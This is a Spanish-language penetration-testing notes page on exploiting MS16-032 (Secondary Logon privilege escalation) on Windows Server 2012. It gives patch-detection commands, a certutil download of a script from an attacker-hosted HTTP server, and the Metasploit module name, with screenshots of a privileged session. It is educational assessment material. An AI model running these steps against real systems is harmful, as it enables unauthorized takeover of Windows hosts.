> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/windows-vulnerabilities/kernel-exploitation/windows-server-2012-kernel-exploitation.md).

# Windows Server 2012 - MS16-032

MS16-032 es una vulnerabilidad de escalada de privilegios local relacionada con el servicio Secondary Logon. La viabilidad depende de la versión exacta de Windows, la arquitectura y los parches instalados.

## Detección

```powershell
systeminfo
```

Compare la versión con referencias de exploits conocidos:

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits>" %}

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-032>" %}

## Confirmar estado de parches

Exportar `systeminfo` y compare los KB instalados con una herramienta de sugerencia de exploits de confianza antes de ejecutar el módulo.

```cmd
systeminfo > C:\Windows\Temp\systeminfo.txt
wmic qfe list brief
```

```bash
python3 wes.py systeminfo.txt --exploits-only
```

## Transferir

```bash
python3 -m http.server
```

```cmd
certutil.exe -f -urlcache -split http://10.10.14.12:8000/ms16-032-check.ps1 ms16-032-check.ps1
```

<figure><img src="/files/4c28bd29617472290976b5da4914b2ee707177cc" alt="MS16-032 validation material transferred to Windows Server 2012"><figcaption></figcaption></figure>

## Explotación

Módulo de Metasploit:

```
exploit/windows/local/ms16_032_secondary_logon_handle_privesc
```

<figure><img src="/files/8f8dd19e7c6a84c8eb4048dd2e474fa7d8a8ecb7" alt="MS16-032 Metasploit module" width="563"><figcaption></figcaption></figure>

Configure la sesión activa, la arquitectura y las opciones de destino, y luego ejecute el módulo solo después de confirmar que el host es compatible.

<figure><img src="/files/7585084d792e69a70036051fd041fed64eb897bb" alt="MS16-032 module configuration"><figcaption></figcaption></figure>

<figure><img src="/files/66306aeccf3da5f5c59b1112272371afc7fc8780" alt="Privileged session after MS16-032 exploitation"><figcaption></figcaption></figure>

## Puntos clave

* Valide siempre la versión, la arquitectura y el nivel de parches.
* Los exploits de kernel son frágiles; pruébelos en un laboratorio antes de usarlos durante una evaluación.
* Solucione el problema aplicando las actualizaciones de seguridad de Microsoft correspondientes.


---

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